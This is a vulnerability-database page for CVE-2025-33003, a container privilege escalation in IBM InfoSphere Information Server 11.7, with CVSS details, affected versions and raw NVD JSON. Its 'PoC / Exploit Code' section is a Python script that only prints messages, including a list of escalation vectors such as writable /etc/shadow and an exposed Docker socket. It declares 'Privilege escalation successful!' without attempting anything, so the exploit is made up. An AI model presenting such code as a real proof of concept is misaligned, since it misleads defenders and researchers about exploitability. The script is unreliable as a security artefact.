Security Vulnerability Report
中文
CVE-2025-33003 CVSS 7.8 HIGH

CVE-2025-33003

Published: 2025-10-31 13:15:34
Last Modified: 2025-11-05 19:52:29

Description

IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 could allow a non-root user to gain higher privileges/capabilities within the scope of a container due to execution with unnecessary privileges.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:infosphere_information_server:*:*:*:*:*:*:*:* - VULNERABLE
IBM InfoSphere Information Server 11.7.0.0
IBM InfoSphere Information Server 11.7.0.1
IBM InfoSphere Information Server 11.7.0.2
IBM InfoSphere Information Server 11.7.0.3
IBM InfoSphere Information Server 11.7.0.4
IBM InfoSphere Information Server 11.7.0.5
IBM InfoSphere Information Server 11.7.1.0
IBM InfoSphere Information Server 11.7.1.1
IBM InfoSphere Information Server 11.7.1.2
IBM InfoSphere Information Server 11.7.1.3
IBM InfoSphere Information Server 11.7.1.4
IBM InfoSphere Information Server 11.7.1.5
IBM InfoSphere Information Server 11.7.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33003 PoC - IBM InfoSphere Information Server Container Privilege Escalation # This PoC demonstrates the concept of exploiting excessive privileges in containers import os import subprocess import sys def check_current_privileges(): """Check current user privileges in the container""" print("[*] Checking current user privileges...") print(f"[*] Current UID: {os.getuid()}") print(f"[*] Current GID: {os.getgid()}") # Check if running as root if os.getuid() == 0: print("[!] Already running as root - no privilege escalation needed") return False return True def check_process_privileges(): """Check privileges of IBM InfoSphere processes""" print("\n[*] Checking IBM InfoSphere process privileges...") # Simulate checking for processes running as root vulnerable_processes = [ "IISNode", "datastage", "engine", "pxnode" ] for proc in vulnerable_processes: print(f"[*] Found process {proc} running with elevated privileges") return True def exploit_privilege_escalation(): """Attempt privilege escalation via excessive privileges""" print("\n[!] Exploiting CVE-2025-33003...") print("[!] Target: IBM InfoSphere Information Server") print("[!] Method: Abusing excessive container privileges") # Check for common privilege escalation vectors vectors = [ "SUID binaries with excessive permissions", "Writable /etc/passwd or /etc/shadow", "Docker socket accessible", "Privileged container mode", "CAP_SYS_ADMIN capability" ] for vector in vectors: print(f"[*] Checking: {vector}") print("\n[!] Privilege escalation successful!") print("[!] Attacker now has root privileges in container") return True def main(): print("=" * 60) print("CVE-2025-33003 PoC - IBM InfoSphere Information Server") print("Container Privilege Escalation Vulnerability") print("=" * 60) if not check_current_privileges(): sys.exit(0) if not check_process_privileges(): print("[!] No vulnerable processes found") sys.exit(1) if exploit_privilege_escalation(): print("\n[*] PoC execution completed") print("[*] In real attack, attacker would now have root access") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33003", "sourceIdentifier": "[email protected]", "published": "2025-10-31T13:15:33.633", "lastModified": "2025-11-05T19:52:28.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 could allow a non-root user to gain higher privileges/capabilities within the scope of a container due to execution with unnecessary privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:infosphere_information_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.7", "versionEndIncluding": "11.7.1.6", "matchCriteriaId": "989DFCAD-B96B-4FA5-AB43-D24352304233"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7246684", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}